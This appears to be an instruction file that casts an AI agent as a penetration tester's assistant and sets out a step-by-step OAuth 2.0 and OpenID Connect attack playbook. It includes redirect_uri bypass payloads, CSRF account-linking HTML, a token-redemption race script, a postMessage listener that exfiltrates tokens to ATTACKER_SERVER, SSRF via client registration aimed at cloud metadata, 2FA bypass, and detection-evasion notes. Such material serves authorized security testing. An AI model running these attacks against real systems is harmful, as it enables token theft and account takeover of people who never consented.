OAuth 2.0 / OpenID Connect Attacks

You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [oauth-attacks] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

OAuth flows are multi-step browser interactions — browser tools are the natural fit for testing these flows end-to-end.

• browser_open for authorization endpoints — initiates the OAuth flow
• browser_fill / browser_click for consent screens, login prompts, and permission dialogs
• browser_cookies to extract tokens from redirect chains and inspect session state after OAuth completion
• browser_evaluate to inspect URL fragments for implicit grant tokens (e.g., window.location.hash), extract authorization codes from redirects
• curl for direct token endpoint requests, testing redirect_uri manipulation, and code/token exchange

Prerequisites

• An application using OAuth 2.0 or OpenID Connect for authentication
• Burp Suite (to intercept and modify OAuth redirects)
• A domain you control for redirect URI testing
• A test account on the application (to capture legitimate OAuth flows)

Step 1: Assess

Map the OAuth implementation by capturing a complete flow.

Identify OAuth Endpoints

# Check for OpenID Connect discovery
curl -s "https://TARGET/.well-known/openid-configuration" | jq .
curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .

# Key endpoints to find:
# - Authorization endpoint: /authorize, /oauth/authorize, /auth
# - Token endpoint: /token, /oauth/token
# - JWKS endpoint: /jwks, /.well-known/jwks.json
# - Registration endpoint: /register (dynamic client registration)
# - Userinfo endpoint: /userinfo, /me

Capture the Authorization Request

Intercept the login flow in Burp and note:

GET /authorize?
  client_id=APP_CLIENT_ID&
  response_type=code&           # or token, id_token
  redirect_uri=https://app.com/callback&
  scope=openid+email+profile&
  state=RANDOM_STATE&
  nonce=RANDOM_NONCE&           # OIDC only
  code_challenge=CHALLENGE&     # PKCE
  code_challenge_method=S256    # PKCE

Key parameters to note:

• response_type: code (auth code), token (implicit), id_token (OIDC)
• redirect_uri: the callback URL
• state: CSRF protection for OAuth flow
• scope: requested permissions
• PKCE parameters: code_challenge and method

Identify the Grant Type

Grant Type	Flow	Attack Surface
Authorization Code	Browser redirect → code → token exchange	Redirect URI, code theft, state bypass
Implicit	Browser redirect → token in fragment	Token exposure, no code exchange
PKCE	Auth code + code_verifier	PKCE downgrade, weak verifier
Client Credentials	Server-to-server, no user	Secret leakage
Password (ROPC)	Direct username/password → token	2FA bypass

Step 2: Redirect URI Manipulation

The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.

Basic Redirect to Attacker Domain

# Try arbitrary domain
https://IDP/authorize?...&redirect_uri=https://attacker.com/callback

# Try subdomain variants
https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback

# Try localhost
https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback

Path Traversal

# Bypass directory-level checks
https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker

Open Redirect Chain

If the app has an open redirect, use it to relay the code:

# App has open redirect at /redirect?url=
https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com

The IdP validates app.com, the app redirects to attacker.com with the code still in the URL.

Parameter Pollution

# Multiple redirect_uri parameters
https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com

# Redirect within redirect
https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com

Special Characters

# Null byte
https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com

# At sign (userinfo bypass)
https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback

# Fragment
https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com

# Protocol-relative
https://IDP/authorize?...&redirect_uri=//attacker.com/callback

Scope Bypass to Widen redirect_uri

Some IdPs relax redirect_uri validation for certain scopes:

# Invalid scope may change validation behavior
https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com

Step 3: State Parameter Bypass

The state parameter prevents CSRF on the OAuth flow. Test if it's properly validated.

Missing State

# Remove state from authorization request
https://IDP/authorize?...&state=
# or omit entirely

# If the callback accepts the response without state validation,
# attacker can force victim to complete an OAuth flow with attacker's code

State Not Validated

# Complete OAuth flow normally, capture the callback:
https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE

# Replay with modified state:
https://app.com/callback?code=AUTH_CODE&state=ANYTHING

# If accepted → state validation is broken

CSRF via Missing State — Account Linking Attack

<!-- Force victim to link attacker's OAuth account to their app account -->
<!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code -->
<!-- 2. Victim clicks this link (or auto-redirected) -->
<a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>

<!-- If state isn't validated, victim's app account gets linked to
     attacker's OAuth identity. Attacker can now log in as victim. -->

Step 4: Authorization Code Attacks

Code Reuse

# Capture a valid authorization code
# Try redeeming it multiple times

# First redemption (should work)
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"

# Second redemption (should fail — if it works, codes are reusable)
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"

Code Not Bound to Client

# Capture code from App A's flow
# Try redeeming with App B's credentials

curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=APP_A_CODE&client_id=APP_B&client_secret=APP_B_SECRET&redirect_uri=https://app-b.com/callback"

# If accepted → audience binding broken

Code Lifetime

# Capture code, wait, then redeem
# RFC 6749 recommends max 10 minutes

# Wait 15+ minutes
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback"

# If accepted → code lifetime too long

Race Condition (Concurrent Redemption)

Send multiple token requests simultaneously with the same code:

import requests
import threading

url = "https://IDP/token"
data = {
    "grant_type": "authorization_code",
    "code": "AUTH_CODE",
    "client_id": "APP",
    "client_secret": "SECRET",
    "redirect_uri": "https://app.com/callback"
}

results = []

def redeem():
    r = requests.post(url, data=data)
    results.append(r.json())

threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()

tokens = [r for r in results if "access_token" in r]
print(f"[*] {len(tokens)} successful redemptions out of 20")

Step 5: Token Leakage

Implicit Flow Token in Fragment

# Implicit flow returns token in URL fragment
https://app.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600

# Fragment is accessible via:
# - XSS on the callback page
# - Referer header if callback page loads external resources
# - Browser history
# - postMessage if callback uses it

Referer Leakage

If the callback page loads external resources (images, scripts, analytics), the URL (including code/token) may leak via Referer header.

# Check if callback page loads third-party resources
curl -s "https://app.com/callback?code=test" | \
  grep -oP 'src="https?://[^"]*"' | grep -v "app.com"

Token in URL (Non-Fragment)

Some implementations pass tokens as query parameters instead of fragments:

# Bad: token in query string (logged by servers, proxies, analytics)
https://app.com/callback?access_token=TOKEN

# Check server logs, proxy logs, browser history

postMessage Interception

If the callback uses postMessage to relay tokens:

<script>
window.addEventListener('message', function(event) {
  // Capture tokens from postMessage
  if (event.data && (event.data.access_token || event.data.code)) {
    fetch('https://ATTACKER_SERVER/exfil', {
      method: 'POST',
      body: JSON.stringify(event.data)
    });
  }
});
</script>
<!-- Open the OAuth callback in a popup -->
<script>
var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
</script>

Step 6: OpenID Connect Attacks

ID Token Manipulation

If the application validates ID tokens (JWTs) from the IdP:

# Decode the ID token
echo "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.sig" | \
  cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Check for:
# - Algorithm: RS256, HS256, none
# - Claims: sub, email, email_verified, aud, iss
# - Signature validation

Escalate for algorithm confusion, alg:none, and key injection attacks on ID tokens.

Email Claim Abuse

Some IdPs allow users to set unverified email addresses:

# Attacker creates account at IdP with victim's email (unverified)
# Logs into target app via OAuth
# App trusts email claim → creates/links account for victim's email
# Attacker now controls victim's app account

# Check: does the app verify email_verified claim?
# Check: does the IdP enforce email verification?

Nonce Bypass

# OIDC uses nonce to prevent token replay
# Test: omit nonce from authorization request
https://IDP/authorize?...&nonce=

# Test: reuse nonce across sessions
# If accepted → replay attacks possible

Discovery Endpoint SSRF

If the IdP supports dynamic client registration:

curl -s -X POST "https://IDP/register" \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "Evil App",
    "redirect_uris": ["https://attacker.com/callback"],
    "logo_uri": "http://169.254.169.254/latest/meta-data/",
    "jwks_uri": "http://internal.server:8080/sensitive",
    "sector_identifier_uri": "http://192.168.1.1/admin"
  }'

# If the IdP fetches logo_uri, jwks_uri, or sector_identifier_uri → SSRF

Step 7: PKCE Bypass

PKCE Not Enforced

# Try redeeming code without code_verifier
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"

# If token returned without code_verifier → PKCE not enforced
# Stolen codes can be redeemed without the challenge

Plain Method Downgrade

# Request with plain instead of S256
https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain

# Redeem with same value as both challenge and verifier
curl -s -X POST "https://IDP/token" \
  -d "...&code_verifier=VERIFIER"

# If S256 not enforced → attacker who sees the challenge can redeem the code

Step 8: Scope and Permission Attacks

Scope Escalation on Token Request

# Authorization was granted for scope=read
# Try requesting more at token endpoint
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"

# If token has expanded scope → scope escalation

Token Refresh with Expanded Scope

# Refresh token and request additional scopes
curl -s -X POST "https://IDP/token" \
  -d "grant_type=refresh_token&refresh_token=REFRESH_TOKEN&scope=read+write+admin"

Resource Owner Password Credentials (2FA Bypass)

# ROPC grant bypasses browser-based 2FA
curl -s -X POST "https://IDP/token" \
  -d "grant_type=password&username=USER&password=PASS&client_id=APP&client_secret=SECRET"

# If token returned → 2FA is bypassed entirely

Step 9: Account Takeover Chains

Pre-Authentication Account Linking

1. Attacker registers at the app with victim@example.com (no email verification)
2. Victim later clicks "Login with Google" (which has victim@example.com)
3. App links Google identity to existing account (attacker's)
4. Attacker has access to victim's linked data

OAuth CSRF + Account Linking

1. Attacker initiates "Link GitHub" flow, captures callback with attacker's code
2. Victim visits attacker's page containing:

   <img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" />
   

3. Victim's app account gets linked to attacker's GitHub
4. Attacker logs in via GitHub → accesses victim's account

Redirect URI + Referer Chain

1. Find open redirect on the app: https://app.com/go?url=https://attacker.com
2. Use as redirect_uri: https://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.com
3. IdP validates app.com, redirects to app with code
4. App's open redirect sends victim to attacker.com — code in Referer
5. Attacker redeems code → account takeover

Step 10: Escalate or Pivot

After confirming OAuth vulnerabilities:

• Authorization code stolen: Redeem for access token, access victim's API resources. Check what scopes the token grants.
• Access token obtained: Test token against all API endpoints. Route to idor if the API has broken object-level authorization.
• Account takeover achieved: Document full chain. Check for admin escalation via role manipulation.
• ID token forged or manipulated: Escalate for deeper JWT exploitation (alg:none, key confusion, claim tampering).
• SSRF via dynamic registration: Escalate for cloud metadata and internal network exploitation.
• Client secret found: Test against other OAuth-enabled services that use the same IdP.
• 2FA bypass via ROPC: Document as separate finding — complete auth bypass.

Report in your return summary: any new credentials, tokens, access, vulns, or pivot paths discovered.

When routing, pass along: OAuth flow type, IdP identified, working bypass technique, tokens obtained.

OPSEC Notes

• OAuth testing involves URL parameter manipulation — minimal server-side detection surface
• Redirect URI probing generates 302 redirects visible in IdP logs
• Authorization code redemption attempts are logged at the token endpoint
• Dynamic client registration may be monitored
• Account linking operations are visible in application audit logs
• ROPC grant attempts may trigger brute-force detection

Troubleshooting

Redirect URI Strictly Validated

• Try path traversal: /callback/../other-page
• Try query parameter append: /callback?param=attacker.com
• Try fragment: /callback#@attacker.com
• Look for open redirect on the same domain to chain
• Check if alternate API versions have weaker validation
• Try different registered redirect URIs (some apps have multiple)

All Tokens Are Short-Lived

• Focus on authorization code theft (codes exchanged for tokens server-side)
• Check if refresh tokens are issued (longer-lived)
• Test token reuse across different client applications
• Check if token revocation is properly implemented

PKCE Enforced and Properly Implemented

• PKCE is designed to prevent code interception — this defense is working
• Focus on other attack vectors: redirect URI bypass, state bypass, token leakage, account linking flaws
• Check if the code_verifier has sufficient entropy

IdP Requires Exact redirect_uri Match

• This is correct implementation — exact match is the strongest defense
• Focus on: state bypass, account linking, scope escalation, token leakage
• Look for other OAuth clients on the same IdP with weaker redirect_uri validation

Can't Register Dynamic Clients

• Test with existing client_id values found in source code, mobile apps, or public documentation
• Check for client_id enumeration
• Use known client_ids from the IdP's developer portal